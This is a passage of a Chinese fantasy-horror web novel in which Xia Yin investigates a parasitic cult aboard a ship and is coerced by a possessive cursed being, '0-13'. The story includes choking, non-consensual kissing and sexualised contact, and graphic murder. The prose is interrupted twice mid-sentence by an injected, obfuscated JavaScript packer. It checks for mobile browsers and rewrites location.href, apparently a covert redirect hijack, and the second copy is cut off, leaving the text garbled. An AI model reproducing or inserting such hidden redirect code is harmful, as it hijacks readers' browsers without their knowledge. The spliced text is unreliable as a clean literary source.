死鱼委屈巴巴地拍了三下,不能。 夏因沉吟。 不能传送的话,只有带着它跳海,才能离开“深潜者号”。 “设想一下,”哥哥摆出同样的沉吟姿势,“你挤在灵柩里,或许就坐在它腿上,手里抱着它的棺材板当船桨,在茫茫大海上乘风破浪……啊,画面太美,不忍直视。” 夏因:“……” “……下一个问题。” “船上的东西,恶意是只针对我一个人的吗?我知道你能闻出人类的欲望。” “啪.啪.啪”,否定。 “……那东西,难道想害死船上所有人?” “啪”,肯定。 夏因沉吟。 “0-13”不会说谎,就算威胁和引诱,也都摆在明面上。 如果事情真如它所说,“深潜者号”远离了“0-13”的威胁,也会陷入另外一重未知的险境。 船上的危险只展露了冰山一角,便轻易绞碎了两条小船。如果损毁的是主船,在这危机四伏的大海上,只有五纹以上的神职者,才有幸存的可能。 “两害相衡取其轻,不如,我们利用‘0-13’来对付船上的东西?” 哥哥提议。 “你想,至少‘0-13’还有乖乖听话的可能——而船上那东西恶意很大,随时都会爆炸。” “……暂时只能这么办了。”夏因捏着眉心。 他看向灵柩:“我有了新的单人间,以后不会睡在货舱里。你能把自己挪上去的,对吗?” “0-13”不吭声。 不带人,单它一口棺,还是可以做到天国传送的,只是要费些神性。 夏因察觉到了它的不情愿:“你太重了,我一个人搬不动。这样一来,我就只能找弗雷泽帮忙了。” 他故作认真地想了想:“嗯,我会感谢他的。” 话音未落,灵柩下方就出现了一扇天国之门,“0-13”干净利落地消失在了原地。 夏因:“……” 他好像掌握了和“0-13”的特殊谈判技巧。 …… *** 餐厅里,夏因一边享用着自己的午餐,一边观察来来往往的船员。 一切都很正常,唯一算得上“新闻”的,是乔舒亚。 ——乔舒亚赖了床,没有出门用餐。 夏因本来没有留意,却忽然想起了乔舒亚吞下的那些奇怪的“鱼籽”。 他问弗雷泽:“乔舒亚经常昼伏夜出?” “当然不。”弗雷泽耸肩,“他那种人,恨不得时刻处于人群的最中心,成为关注的焦点。午餐时间最适合挑选交易对象,他原本不可能错过。” “这么一想……这还是他第一次没在午餐时间出现。” 夏因眸光微动。 餐后,他先检查了一下自己房间里的“0-13”,然后走到隔壁,敲了敲门。 “乔舒亚,二副托我给你送些食物。” 没有回音。 咚咚咚,“让我进去,乔舒亚。” 还是没有回音。 “这么大的声音,就算是隔壁的诅咒物都能被你叫醒。”哥哥凝重,“乔舒亚或许出事了!” 夏因凑到猫眼,往里看。 黑漆漆的,床上的被子里隐约蒙着一团东西,什么也看不清。 夏因后退,砰地一脚,踹开了房门。 舱室内有点潮湿,弥漫着一股劣质的甜味。 夏因从脚边捡起了一只用光的玻璃小瓶,标签上写着“Omega信息素仿制香水”。 这股甜味非常浓重,麻痹了夏因的嗅觉,让他根本分辨不出其他味道。 他将那瓶助.兴的药剂放回原位,慢慢走向舱室内唯一的床。 床上的那团东西……没有任何呼吸起伏。 夏因猛地一掀被单。 空的。 ……怎么会。 舱室就这么小,如果乔舒亚活着,还能在哪里? 就在这时,有什么柔软的东西,碰到了夏因的脚踝。 床底下,掉出了半只苍白的手。 “……!” 夏因猛地后退两步。 他顿了顿,缓缓弯腰蹲下,向床下看去。 乔舒亚就在床底。 床底和地板之间的空隙不足五厘米,那么狭小的地方,很难想象一个全身骨头的活人,是怎样塞进去的。 夏因摸向乔舒亚的手。 柔软的,还很温热。 “……刚死不久?” 哥哥吞了口唾沫,打量四周。 “凶手不会还留在这间屋子里,没走吧?” 夏因霎时全身紧绷。 然而,就在这时,乔舒亚的手突然一动,猛地甩开了他。 “……找死啊!懒觉都不让人睡。” 中气十足的,活人的声音。 “我好困……想找我,晚上再来……” 说罢,乔舒亚的呼吸渐趋轻缓,继续睡了过去。 夏因:“……” 打扰了。 他退出去,和二副报修门锁,回屋休息。 一路上,哥哥都在狂搓身上的鸡皮疙瘩。 “你说乔舒亚好端端的床不睡,非要挤在床底吓人,这是什么怪癖?” “而且,以人类的柔韧性,真的能做到那种程度吗?” “简直像没有骨头似的……” 夏因“嗯”了一声:“他的身上还有疑点。” “而且我在想,乔舒亚是一直如此,还是突然间变得奇怪?” “弗雷泽说这是他第一次白天不出门。假设乔舒亚是突然间改变的,那改变他的会是什么?” “会不会是……二副给他的那些‘鱼卵’?” “大概率是的。”哥哥有点犯恶心,“夏因,你可千万注意,别让自己的食物里混进奇怪的东西啊。” “嗯,我会注意的。”夏因点头。 …… *** 夜晚到来,乔舒亚的房间人来人往,逐渐热闹了起来。 ……只是有些,太过“热闹”了。 以他的特殊职业来看,乔舒亚的种种表现十分正常,夏因却因此异常地失了眠。 好吵。 他觉得脏。 “你一定在后悔。”哥哥打了个呵欠,“为什么要为了避开二副,选择乔舒亚做邻居呢?如果上天再给你一次机会,你一定会对二副说三个字:我愿意!” “……不,我在想,光明教会应该扩张信仰的辖制范围了。” 夏因平躺着,双手交叠于身前,目无波澜。 “如果这里是光明神的辖域,我早就可以依照第七律法,将他们全部逮捕,扔进忏悔室里,日夜诵念经文,直到他们再也不会产生那种世俗的欲望。” “……” 哥哥轻“嘶”一声:“真可怕。” 不知道是指乔舒亚,还是在指光明教会。 夏因呼了一口气,起身,将被子铺至平整,离开舱房。 用水洗耳朵,洗眼睛,洗脑袋……最后忍不住把全身都洗了一遍。 这才感觉没那么脏了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333784|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫步在甲板上,试图偶遇大副或船长,但一无所获。等到多数船员都离开了乔舒亚的房间,他才抬步返回。 微光从乔舒亚房间的门缝中泄出,里面隐隐传来娇声笑语,没出现任何异常。 夏因自己的舱室,则一片漆黑。 煤油灯已经燃尽,他依照记忆碰到了灵柩的边缘,确定它一切如常。 “0-13”刚进行过一次天国穿行,耗费了不少神性,晚间进餐后,甚至没力气折腾那条死鱼。 夏因对它比较放心。 他摸黑走到床边,掀开被子,躺了进去。 却被纳入了一个冰冷的怀抱。 “……唔!?” 夏因猛地弹起,下一秒,一只手捂住了他的口鼻,第二只手勾住他的腰身,他被迫跌落回去,撞上了一片胸.膛。 “0-13”的轻笑声自身后响起。 隔着衣饰,它紧贴着他的后背,随着闷笑而震动。 夏因极力拱起身体,避免与它接触。 他试图掰开它捂在口鼻间的手,挣扎间,溢出些许气音。 “……嘘。” 它在他耳畔低语,暧.昧却威胁。 “发出声音的话,隔壁的人类,会听到。” “你不想被他们发现……对吗?” 夏因身形一僵。 他被换成了仰卧的姿势,“0-13”伏在他身上。 它垂下头,银发如帘幕般笼罩了他。 紫眸似乎具备某种夜视能力,在夜色中微微泛着光,将他的一切尽收眼底。 它注视着夏因的双眼,那双眼睛因愤怒而喷吐着烈焰,又流溢着水光。 如同孩童被漂亮的宝石吸引,它冰凉的手指覆了上来,围绕着眼球来回触摸,然后继续向下,鼻子、嘴和小半张脸,都被抓握在它的手心里。 “唔……” 脸色开始涨红,瞳仁逐渐涣散。 生理性的泪珠凝结在睫毛上,欲坠不坠。 它眨了眨眼,恍然。 “啊……忘了你还需要呼吸。” 它立刻松开了他的口鼻。 夏因大口大口剧烈呼吸,因为肺部的火.辣,脊背略微弓起。 稍有恢复,便抡起一拳,揍向它的脸。 却在即将触及“0-13”的鼻梁时,猛地停住。 “……为什么不躲?” 夏因喘息着,眸子里燃烧着怒火。 它垂下眼睫毛,偷偷瞄他一眼,又飞快藏好。 “我让你生气了。” “生气了,就要泄愤。你也一样……” “打下去,就不生我的气了。” “夏因,会同我和好。” 说到“和好”,它得逞似的弯唇而笑,仿佛真的已经得到了夏因的喜爱。 但现实并不如它所想。 “你错了。”夏因神情冷漠,“人类的喜恶没有那么简单。憎恨不会因为报复得手而消失,更不会由此滋生出喜欢。” 它茫然地望着他,似乎难以相信他话语中的含义。 “……夏因,憎恨我?” 那双紫色的眼睛里,只有“惊讶”,却没有为此感到“伤心”和“后悔”。 夏因看得很清楚。 对它而言,只要他能够留在它身边,充当它的所有物,它便心满意足。 至于他心中到底是恨它、惧它、还是爱它,它不在乎。 和一件诅咒物讨论爱憎? 夏因觉得自己可笑。 他平复了情绪,闭上眼睛。 “回灵柩去,我需要睡眠。” 正要收回的右拳,却被它猛地抓住。 “那,刚才为什么要停手?” 它眼神有种异样的执着。 “如果憎恨我,就应该让我疼,或者直接杀了我。” “但你,为什么要停手?” 夏因没有回答。 “0-13”自己找到了答案。 “……因为这张脸。” “你不想伤了这张脸。” 它像是抓到了他的软肋,愉悦而低沉地笑着。 “夏因,你喜欢这张脸,非常、非常喜欢。” 它揉开他的拳头,将自己的脸,放在了夏因的掌心里,取悦他。 夏因只觉得冷。 他的“喜欢”和“不忍心”,被它利用,成为它留下他的工具。 它的“讨好”和“取悦”,不是它希望他高兴,而是它引诱他的手段。 毕竟,一个任它予取予求的私人物品,可比抵死不从的刺头,要好掌控多了。 “0-13”擅长玩弄人心。 “……夏因,看着我。” 脸颊轻蹭着他的手心,嗓音蛊惑,似乎深情。 夏因睁开眼。 视力受限,除了那双非人的眼睛,视野里只余漆黑冰冷。 手掌里的触感,却给了他另外的信息。 他分明记得,“0-13”的嘴角原本有针线缝合过的伤疤,摸起来应当有些许凹凸不平。 但现在…… 夏因的指腹拂过它的嘴角。 平整光滑,仿佛从未有过什么疤痕。 他的脑海中回响起之前它说过的话: ——“我将为你而改变。” 而现在,改变已经开始了。 夏因心脏一沉。 就在这时,乔舒亚的尖叫从隔壁响起,清晰地传入了他和它的耳中。 “——要死了!啊!已经不行了!” 然后是一些富有节奏感的哭喊。 “……” 夏因的手微微一抖。 心事重重的表情瞬间打破,变得有些不适。 他试图抽回抚在“0-13”脸庞上的手,却被它更紧地握牢。 下一秒,它拉起被子,蒙住头,将它和夏因一起罩在被子底下。 由此隔开了里外两个世界,它和夏因在一个小世界,外界的纷扰是另一个,与他们无关。 “……他们好吵。” 它在夏因耳边,低声抱怨。 没有意动,没有窘迫或尴尬,它的目光十分单纯,只有被打扰到了的不悦。 “味道很相似……这就是你昨夜说的,我不会拥有的欲望?” “没有也好……我不喜欢。” 它轻轻摇头,发丝蹭在夏因的颈窝里,很痒。 “夏因,我只要你的血。” 那些声音还在不断传进耳朵,它伏在他肩上,自我表扬似地呢喃着。 “我永远不会对你那么坏,让你哭叫得那样惨。” 13. 反骨 似乎要展现它的“善良”,夏因率先感受到了安抚式的舔舐,紧接着,锁骨便是一痛。 利齿刺穿皮肉,血珠滚落,顺着前胸的肌肉线条,殷红地蜿蜒而下。 它们并未被浪费,在行至沟壑深处之前便被截下,送入喉中。 痛感变得麻木,别的什么逐渐萌生。 “……不要做多余的事。” 夏因的手指插.入银色绸缎间,威胁地拽扯着。 “0-13”不以为意,喉间低笑着,在拥挤黑暗的空间里显得闷.哑。 夏因喉结不由一滚。 似乎被那里吸引了注意,一抹冰凉划过了他的喉结,“0-13”的手指轻轻捻住了颤栗的那一枚骨肉,如同拢起一尾灵活的游鱼。 “……别碰那里!” 夏因嗓音发紧,竟在微微颤抖。 意识到自己发出了什么声音之后,他立刻咬紧了下唇。 “为什么不能?” 它凑近他的脖颈,饶有兴趣地观察它、捉弄它,如同发现了新的玩具。 “你的反应,很有趣啊。” 他对它的意义仅是如此单纯,和隔壁的哭喊声无关,更与它“不喜欢”的某种欲.望无关。 虽然如此,夏因仍然感到难堪。 他在忍耐和反抗之间两极摇摆,最终,在它的唇凑向他的喉结时,他将它略微扯离,用手腕堵住了它的嘴。 “我说了,不要做多余的事。” “你该不用我教导如何高效进食——撕开动脉,血液自会喷出,而不是抱着块贫瘠的骨头,费力吸吮。” 夏因的诱惑应当是极为成功的,他听到了它喉间饥渴的吞咽声。 但—— “我不。” 它微笑着,睫羽半遮起紫眸。 鼻梁贴着颈动脉厮磨,仅是嗅闻,并不撕咬。 “你已经把这一身血肉献祭给了我,迟一点,早一点,你总会是我的。” “慢一些……我也等得及。” 似乎,有其他什么东西对它的吸引力超越了食欲,让它学会了忍耐和等待。 然而,被它当做玩物,比被当做食物,更让夏因觉得耻辱。 隔壁的声音,更营造出了某种错觉。 指甲攥进掌心里,他试图屏蔽自己的听觉、触觉,熬过即将到来的心理上的痛楚。 却突然间,身上一沉。 “0-13”忽然倒在他身上,没了动静。 “……?” 夏因又活了过来。 他试探着推开它,没有被制止。 他从它沉重的身躯下挪出来,摸到床前的煤油灯,打开玻璃框,添了新油进去。 煤油灯点燃,火光照亮了“0-13”侧颜。 它一动不动,失去了意识。 夏因本就疑惑它为什么能从灵柩里爬出来,现在看来,它只是在逞强。 就像煤油灯,耗空了燃料,便会熄灭。 这也给了夏因一个机会。 他将它翻到正面,映着火光,审视“0-13”的身体。 嘴角,针线缝合的痕迹的确消失了。 仔细触摸后颈,腺体上杂乱的刀伤还在,摸不出标记的齿.痕。 暖光消弭了它的苍白,它似乎还活着,只是在沉睡。 夏因试图在它脸上寻找熟悉的痕迹。 他想过很多次,既然在分化当夜,那个Omega主动引导他结成标记,说明对方在他十四岁以前便认识他,至少也见过面。 如果“0-13”这幅躯体真的属于那个Omega,夏因应当会认识。 这么好看的脸,他应当看一眼就不会忘记。 可是,无论他怎么看,怎么想,都没能在记忆中搜寻出这样一位男性。 夏因有些失望。 “不过,这身衣服有没有觉得眼熟?”哥哥说,“我们小时候好像见过似的。” 夏因“嗯”了一声:“国王陛下的亲妹妹,伊芙琳公主下葬的时候,身上穿着同样形制的服装。” “啊,想起来了!我记得,瞻仰遗体之后,你还夸她穿得好漂亮,以后想和这么漂亮的人结婚……最后被父亲狠狠训斥了一顿。” 哥哥憋笑,“我们当时好像才六岁吧?哈哈,那个时候你超可爱!” “……”夏因耳朵发热。 真是一段不堪回想的黑历史。 也因为这件糗事,就算过了十多年,夏因依旧能回想起伊芙琳公主的相貌和穿着。 他将注意力移回“0-13”的脸,突然间,瞳孔一缩。 相似的不仅是服装。 ——还有“0-13”和伊芙琳公主的脸! “……伊芙琳公主有过孩子吗?”他的嗓音有些颤抖。 “应该没有吧。”哥哥不确定,“她和撒利维公爵没有子嗣,自从丈夫离世之后,她一直深居简出,极少露面,直到亡故。” 一个接一个的猜测在夏因脑海里浮现。 “深居简出,会不会是为了照顾私生子?” “在伊芙琳公主的葬礼上,那个私生子或许也会出席,我们或许见过面。” “洛丹,在那场葬礼上,你对相似长相的男孩,或者少年,有印象吗?” “我不记得了,夏因,那时我们都太小了……脑容量大概只能存下亲兄弟挨骂时,那种既‘幸灾乐祸’又‘兔死狐悲’的矛盾心情。” 夏因捏了捏眉心。 他平复下情绪:“这只是一个可能。一个有待查证的猜测。” “回国之后,我会继续搜寻相关线索。” “不过现在,还是先将注意力放在‘深潜者号’之上。” 他再度看了一眼“0-13”,随即灭掉了煤油灯,让诸多复杂思绪隐没在黑暗之中。 为了避免“0-13”被吵醒后继续折腾他,夏因没有试图将它从床上搬走,而是自己睡在了灵柩之上。 各种猜测,加之隔壁断断续续的声音,夏因很久之后才得以入睡。 因为疲惫,入睡之后,倒是睡得很沉。 …… …… 清晨,不到六点。 咚咚咚。 急切的敲门声将夏因唤醒。 他迷迷糊糊睁开眼,发现自己竟躺在床上。 “0-13”埋在他的颈窝里,四肢如八爪鱼般牢牢缠在他身上,汲取着他的体温,如同孩子睡觉时搂住属于自己的玩偶。 夏因将凌乱的额发拂到脑后。 ……它醒来过?什么时候? 虽然“0-13”在他沉睡期间进行了活动,但除了将他抱回床上盘着以外,它似乎没有做其他坏事,甚至没在夏因身上制造出更多咬.痕。 “阿尔洛!你在里面吗?!快开门!!” 弗雷泽的声音听起来很紧张,敲门声也越来越急迫。 夏因以最快的速度钻出“0-13”的桎梏,用被子将它裹成卷饼,并窒息地发现它太长了,被子裹不住,卷饼两端冒出了半截银发和一双脚。 “……” 他深吸了一口气,在弗雷泽即将破门而入之前,将门捱开了一道缝,并用自己的身体堵住床的方向。 见到他之后,弗雷泽长长舒了一口气。 “还好你没事。我还以为你也……” 夏因整理了一下领口,挡住锁骨上的咬痕。 “发生了什么?”他嗓音平淡。 弗雷泽面色沉重。 “杰里死了。” “杰里?昨天早晨那个被你揍掉三颗牙齿的船员?” “是的,我揍了他,因为‘代价’,也因为他对你口出不逊。” 弗雷泽抓住头发,“但今早,我发现他死在了他的舱室里,我是第一目击者。” “明明我什么都没有做,但该死,所有的线索和动机都指向我……就和昨天被砸沉的驳船一样。” “有其他人发现杰里的尸体吗?”夏因镇定地说,“我们大可以让他直接‘失踪’。” 弗雷泽沉重摇头:“二副看到了。过不了多久,整条船都会知道。” 他说的没错,等到夏因抵达现场时,杰里的遗体边已经挤满了人。 就算是见多识广的神职者,在看到杰里可怖的死状时,也忍不住苍白了脸。 “死者的左前臂被拧断,塞进了嘴里,断骨几乎穿透了他的喉咙。死因是,窒息。” 二副脱下外套,盖在杰里赤.裸的尸体上。 “他死的时候什么都没穿,或者有可能,在死后被凶手剥掉了衣服。不难发现,他下面的物件也缺失了,看伤口,像是暴力撕扯造成的。” “愿他回归神的浪涛。”二副合上眼,低声祈祷。 “这是报复!极端血腥、残忍的报复!” 一名和死者关系较好的船员,将愤恨的目光射向弗雷泽。 “揍断他几颗牙已经足够了,而你杀了他,还羞辱他的尸体!” “我理解你的心情,但这不是我做的。”弗雷泽努力向他解释,“杰里死亡的时候,舱门从内反锁,门锁完整,不可能有任何人闯进他的房间,包括我。” “你在暗示他死于自.杀?自己掰掉自己的胳膊塞进嘴里,还弄丢了自己的*?这话你自己信吗?” “我知道这听起来很荒唐,但这是事实。”弗雷泽额头冒汗,“……对了,还有窗户!真凶有可能从窗户进出!” “得了吧,那种小圆窗,连你的脑袋都塞不进去!” “但是体型较小的异种和诅咒物能够钻过窗户。”哥哥猜测,“会不会是‘0-13’做的?它对你的占有欲很强,这或许是它在暗中报复。” “不。”夏因在脑海中回应,“如果是‘0-13’,我们现在看到的应该是一滩肉排。它不会这么复杂的杀人方式。” “而且,它大概连杰里口中‘拐上.床’和‘*’的真正含义都不清楚……” 哥哥咳了一声:“你说得对,它没这个动机。” “不过,就算不是‘0-13’,也有可能是其他的异种或诅咒物——比如,船上的那东西。” 夏因想起一事,“昨天夜里,杰里是不是去了乔舒亚的房间?” “对啊!隔壁传来的声音里有杰里!”哥哥恍然,“这么一来,杰里生前见到的最后一个人,应该是乔舒亚!” “乔舒亚的嫌疑很大。”夏因认同。 但他没有向其他船员说出自己的猜测。 截至目前,“深潜者号”还没有遭遇任何诡异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一切都完了。” “你们…全都要死……” 夏因对上他的眼睛,慢声问:“我们为什么会死?” 唐纳德船长重复着之前的话语,没有理会他。 仿佛突然惊醒一般,他的眼珠一转,看向夏因背后。 夏因回头,微微一顿,站起了身。 在他背后,他看到了二副。 准确来说,是伪装成二副的异种。 橙黄色的虹膜,横向生长的细长瞳仁,让他原本温和儒雅的气质变得邪异。 “为什么会感到惊讶?”二副微笑着问,“你很敏锐,我看得出来,你早就发现了我们。” “这并不难。”夏因眉目冷凝,“但我没料到,你这么快就放弃了伪装。” “推迟或许是更稳妥的做法。但我……已经等不及了。” 二副凑近他,深深吸气,品尝他的味道,如同吸.毒致瘾般浑身微颤,脸上露出了享受的表情。 “啊……你一定能为祂诞下最完美的后嗣。” “‘祂’?”夏因捕捉到了这个字眼,“你们信仰谁?” 二副笑而不语,凹凸不平的面部重新变回正常人类。 他将一盏高脚杯端给夏因。 “吞下它们,成为我们的同胞,倾听祂的神音,你自然会了解祂的伟大。” 夏因的目光落在那东西上。 椭圆形的小颗粒,密密麻麻地黏连成团块,半透明的乳白色内壁之内,似乎有活物在蠕动。 是之前被乔舒亚抢走吃掉的“鱼籽”。 它们不是鱼籽,而是这些异种的卵。 乔舒亚就是被它们寄生了。 最开始,二副的目标就是夏因。 上一次有乔舒亚替代,而这一次,只有夏因自己面对。 “……可以。”夏因同意了,“但作为交换,你必须给弗雷泽自由。” “一点牺牲。”二副慷慨,“不过,没问题。” 夏因接过了高脚杯。 忽然间,海浪止息,船身停止了起伏,五感变得失真切扭曲,幻觉侵入了现实。 “0-13”虚幻的声音在脑海中响起。 “夏因,不要触碰它……” “回到我身边。” 它的嗓音失去了笑意,变得阴沉可怖。 那不是劝阻,而是命令,强制性的命令。 夏因看到,二副的神色变得极为恍惚,如果现在夺门而出,对方绝对无法阻拦。 他确实可以乖乖听话,回到“0-13”身边,回到它的庇佑和占有之下。 但是…… 夏因注视着那些卵。 阴冷的东西入侵了他的灵魂,强势地修改他的意志。 “0-13”试图篡夺他身体的主导权,控制他的右手,砸碎这盏高脚杯。 夏因眸光一历,按住不听话的右手,挣扎着,将高脚杯喂到唇边。 仰起头,咕嘟吞了下去。 14. 强吻 凉而滑腻的卵状物入口。 夏因紧捂住嘴,才强迫自己吞咽下去。 在那些卵进入身体的一刹那,眼前的幻觉消失了,“0-13”的声音消失了,它对他的入侵和掌控也一概被排除体外。 占据他身体的,变成了另外的幻觉和呓语。 他看见异种们崇拜的“神明”,因为无法被人类的眼睛理解,表现为象征符号的聚合物。 由光点组成的无数莹白蠕虫,如蜕了鳞的巨蟒,蠕动交.缠着。 祂比人类的视野更庞大,然而在天国中,祂却极为弱小。 祂宛如在漆黑的深海中漂流,战战兢兢地潜伏在灵魂之间,悄悄蚕食着它们,躲开其他不可名状存在的窥视。 然后有一天,祂意外地吞食了一粒“星芒”。 祂迅速地壮大起来,变得坚不可摧,更多的信徒汇聚于祂的脚下,向祂祈祷,向祂献祭。 “……Gon……” 信徒们这样尊称祂。 这不是人类的语言,夏因的耳朵本来无法捕捉,这是他通过肚子里的卵们的感觉器官“听”到的,转换成了人类能够理解的音符。 ——“衮”。 当夏因知晓了祂的神名的时候,“衮”也注意到了他。 祂从那由无鳞巨蟒交.缠构成的身体里,抽.出一条橘红色的光滑触须,挥舞着,向他飘来。 夏因躲不开。 然而就在触手触碰到他的一刹那,猩红的血焰骤然在夏因身上爆燃,如滚滚风暴般向“衮”扑去。 “————” “——” 夏因猛地呛出一口血,诸般幻觉褪.去,他回到了现实。 耳朵里堵满了烫热的血,模糊的对话声传来。 “卵囊……珍贵。异教徒……排异……活不久。”大副困难地表达着它的思维。 “他是最好的母体。” “这也是祂的选择。” 最终,二副说服了它。 夏因睁开眼,脖颈后倾,躯干带动脑袋,以极不协调的姿势站起了身。 两个人形的异种惊愕地看向他。 夏因直视它们,血流进眼睛里,将原本的瞳色染得猩红。 “你,”二副的口吻突然变得恭敬,“您要去哪里?” 它用了异种的语言,夏因同样回以异种的语言。 他肚子里万千子嗣,翕动着开万千张口器。 “‘我要回去’。”它们整齐划一地嗡动着,“‘别来打扰我’。” 说完,他一步一步,向着他的舱室,摇摇晃晃地走去,仿佛还不适应人类的新躯体。 二副低念祷告词,怀着激动和疯狂,望着他渐渐远去。 “看,我说过的——” “他将是万千子嗣之母。” …… *** *** 房门关上的瞬间。 夏因踉跄扑倒在地,剧烈而无声地呕吐着。 半孵化的卵,被黏液和血液包裹着,坠落在地板上。 它们的发育速度极快,仅仅过了几分钟,便从芝麻粒成长到了指甲盖大小。透过卵膜,摇摆着它们硕大的额头和触须。 然而一旦离开人体,它们便迅速走向了死亡。 临死前,翕动着口器,呼唤出它们短暂生命的最后一声回响。 “mama……” 夏因抹了一把脸。 他捻起一枚卵,放在掌心里,看着它橘红色的皮肤渐渐变得灰白。 似乎感受到了母体的温度,它挣扎着破出卵膜,紧贴着夏因的肌肤,舞动着十数条触手,试图在肌肤上划开伤口,重新回到他温暖的体内。 “这是……章鱼?” 夏因努力辨认幼崽的种族。 似乎是未被登记在册的异种,长得和章鱼有些相似,触手却要更多。 他或许可以留下一只,继续研究它们的习性,以后送去流沙之塔研究,帮助神职者们避免被它们寄生。 就在他这么想时,“噗”地一声,幼崽在他的掌心里炸成了一朵橘色的血花。 地板上,橘色的血花朵朵迸溅,本已死去的幼崽被再度切分为碎屑。 尸骸遍地。 死尸般冰冷的双臂,从背后拥住了他。 “夏因……” 手臂温柔地抚过他的肚腹。 ……猛然收紧。 “你不听话。” “你竟然,主动让它们进入你。” “0-13”的嗓音压得极低,凑在他耳边,撕咬着他的耳垂。仿佛猛兽终于没有耐心再伪装人类,暴露出低沉的嘶吼。 它在暴怒。 必须极度克制暴怒,才没有立刻撕碎他。 内脏都像要被挤出去,止不住地干呕。脖颈被钳制在它冰冷的手指间,呼吸不畅,吐字困难。 “是你先……咳……企图……染指我的灵魂……” 主动让异种寄生自己——在今天之前,这只是个模糊的念头。 但当“0-13”企图控制他的那一刻,当他发现仅凭自己不可能抵抗“0-13”的那一刻,夏因坚定了这个想法,并将它迅速变成了现实。 如果不这么做,他终有一天会沦为它的提线木偶,它的掌中玩物。 与其那样活着,不如拼死一搏。 ——既然他能利用“0-13”制约异种,那他也能用异种信仰的邪神,反过来牵制“0-13”! “灵魂入侵……啊,原来你在为这个生气。” 它露出了恍然的神色。 钳制的力度放轻,搭在他的肌肤上,蛊惑似的拨.弄,激起一阵阵细微的颤栗。 “可是……这样不好吗?” “把自己交给我以后,迷茫、痛苦、疲惫,你都不会再有。所有你想 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“我会给你自由。” 夏因冷漠地看着它。 他就不该和它多浪费口舌。 “0-13”将他的沉默当成了顺服。 它心满意足,专注而细致地,一点一点擦拭去他脸上的血迹。 “为了这种小事,报复我,把自己弄得这么狼狈,多不值得。” 它的视线渐渐往下,落在他的腹部。 “你看,到现在,里面还残留着脏东西呢。” 想起那些卵,它的温柔悉数消失,陡然变得面无表情。 “……呃!” 夏因的脊背重重顶到了门上,发出砰地一声闷响。 如果外面有人路过走廊,会轻易发现里面的异常,甚至会像晨间的弗雷泽一样,要求入门查看。 双脚必须掂起才能勉强触及地面,加之随时会被发现的恐慌,让夏因浑身紧绷,心中的不安达到了顶峰。 “啊……你又在害怕了。” “0-13”观察着他的表情,笑容玩味。 “你不喜欢我剖开你的腹部。没关系,我会换一种更温柔的方式,将你的体内…清洗干净。” 它抬起他的下颌,以一种完全无法反抗的力量,捏开他的牙关。 夏因有种不妙的预感。 他拼命挣扎着,想要逃脱它的禁锢。 可是晚了。 视野中,“0-13”的脸迅速放大。 它甚至懂得侧过脸,避免鼻梁相撞。 下一秒,非人之物将它的嘴.唇,覆在了夏因唇上。 有什么湿润冰冷的软物,滑了进来。 15. 清理 滑腻、灵活、不容抗拒。 “……唔!” 夏因简直不敢相信自己遭遇了什么。 他试图偏头躲避,却被箍紧下颌。想要咬合齿关,却被强硬地抵开。越是推拒着想要吐出,口腔里反倒分泌出更多津.液。 脚尖刚刚能触及到地面,露出一段白皙的足踝,因过度紧绷而轻颤着,勾勒出清晰的足弓弧线。 紧接着被托举得更高,彻底悬空,失去了依凭。 他被困死在门板与“0-13”之间的狭小夹角里,被剥夺了吐字的权力,只能溢出令人羞耻的水声。 所有的反抗撞上“0-13”,都如同石沉大海。 明明如此亲密地交.缠在一起,他和它却都睁着眼,无一人真正沉浸其中。 夏因的眼里像灼烧着两团湿热的怒火,似要将它焚作灰烬,只在光影的交错间,才泄露出一点无措。 而“0-13”微垂着睫毛,天生带笑的眼眸睨着他,初看时像是在戏谑或捉弄,细看时却发觉那目光极专注,也极单纯,更像是孩童好奇的观察。 它兴致盎然地捕捉着夏因脸上每一丝情绪波动,满意于自己让他做出了如此生动的表情,甚至还期待着他再多反抗一些,做出更多新鲜有趣的反应。 刷拉—— 挣扎间,夏因的指尖勾到了它缀在发丝间的细链,精美的发饰被扯掉、摔碎,叮叮咚咚地撒落一地。 它微微眯眼,不辨喜怒,紫眸变得更为幽深。 下一秒,夏因的瞳仁缩了缩。 喉咙胀痛,随后继续往深,抵达人类的舌绝不可能触碰到的地方。 “唔!咳……” 喉颈略微鼓胀,脆弱的内脏暴露在冰冷的抚触之下。 扫荡、搅弄、清洗,被冰凉的气息覆盖。 他仿佛一枚被剥去了外壳的果肉,从内部被撕裂、溶解、消化,一点点蚕食。 色泽浅淡的薄唇染上了嫣红,被欺负得不成样子,再也无法像平常那样冷淡地抿紧。 喉结不受控制地吞咽着,连带着下颌也沾上了水光。 身体在颤栗,肺部挣扎般地抽搐,他如同被蛛丝捆缚的猎物,无处可逃,渐渐窒息。 生理性泪水凝结在夏因的眼尾。 ……为什么,他的血肉总是这样柔软? 为什么血肉不能变得锋利? 它们应该是他的刺、他的剑、是他洞穿敌人的枪与刀! 嗡—— 有什么东西在夏因的脑海里炸响。 心口的神纹如有烈焰灼烧。 血肉在扭曲变形,有什么东西钻出了肌肤,如破土之笋,遵照他的意志,骤然向外刺出! 嗤! 异物瞬间抽.离了夏因的口腔。 “……滚开!怪物!!” “0-13”倒退半步,唇边溢出了血丝。 它的衣襟同样染满了紫色的血迹。 从夏因心口生出的长刺贯穿了它的左胸.膛,末端如同战争之神的荆棘刺,根部连接在夏因心口的神纹上,如触手般柔软光滑。 “……你说我是怪物。” “0-13”抬起头,似笑非笑。 “夏因,我们现在……究竟是谁更像怪物?” 夏因后背抵在门上,几缕凌乱的碎发垂落在眼前。 冷翠色的眼眸死死盯着“0-13”,像是要用目光将它千刀万剐。 